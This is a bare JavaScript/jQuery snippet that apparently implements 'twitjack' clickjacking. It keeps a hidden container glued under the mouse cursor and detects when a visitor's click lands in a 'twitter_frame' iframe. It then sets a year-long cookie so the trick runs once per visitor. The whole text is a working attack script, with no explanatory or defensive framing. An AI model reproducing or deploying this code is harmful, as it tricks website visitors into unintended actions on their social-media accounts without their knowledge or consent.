$.noConflict(); var interval; var iflag; var icontainer; var standardbody; jQuery(function () { jQuery("body").append('
'); iflag = 0; icontainer = document.getElementById('twitjack_icontainer'); standardbody = (document.compatMode == "CSS1Compat") ? document.documentElement : document.body //create reference to common "body" across doctypes checkCookie(); interval = setInterval("updateActiveElement();", 50); }); jQuery("html").bind('mousemove', function (e) { if (iflag == 0) { var x = e.pageX - 5; var y = e.pageY; //console.log("X: " + x + " AND Y: " + y); jQuery(icontainer).css('top', y).css('left', x); } }); function getCookie(c_name) { var i, x, y, ARRcookies = document.cookie.split(";"); for (i = 0; i < ARRcookies.length; i++) { x = ARRcookies[i].substr(0, ARRcookies[i].indexOf("=")); y = ARRcookies[i].substr(ARRcookies[i].indexOf("=") + 1); x = x.replace(/^\s+|\s+$/g, ""); if (x == c_name) { console.log(unescape(y)); return unescape(y); } } } function setCookie(c_name, value, exdays) { var exdate = new Date(); exdate.setDate(exdate.getDate() + exdays); var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString()); document.cookie = c_name + "=" + c_value; } function checkCookie() { var flag = 0; var username = getCookie("username"); if (username != null && username != "") { iflag = 1; if ((flag != 0) && (username != null) && (username != "")) document.location = ""; } } function updateActiveElement() { if (jQuery(document.activeElement).attr('id') == "twitter_frame") { var flag = 0; clearInterval(interval); iflag = 1; if (flag != 0) document.location = ""; setCookie("username", 123, 365); } }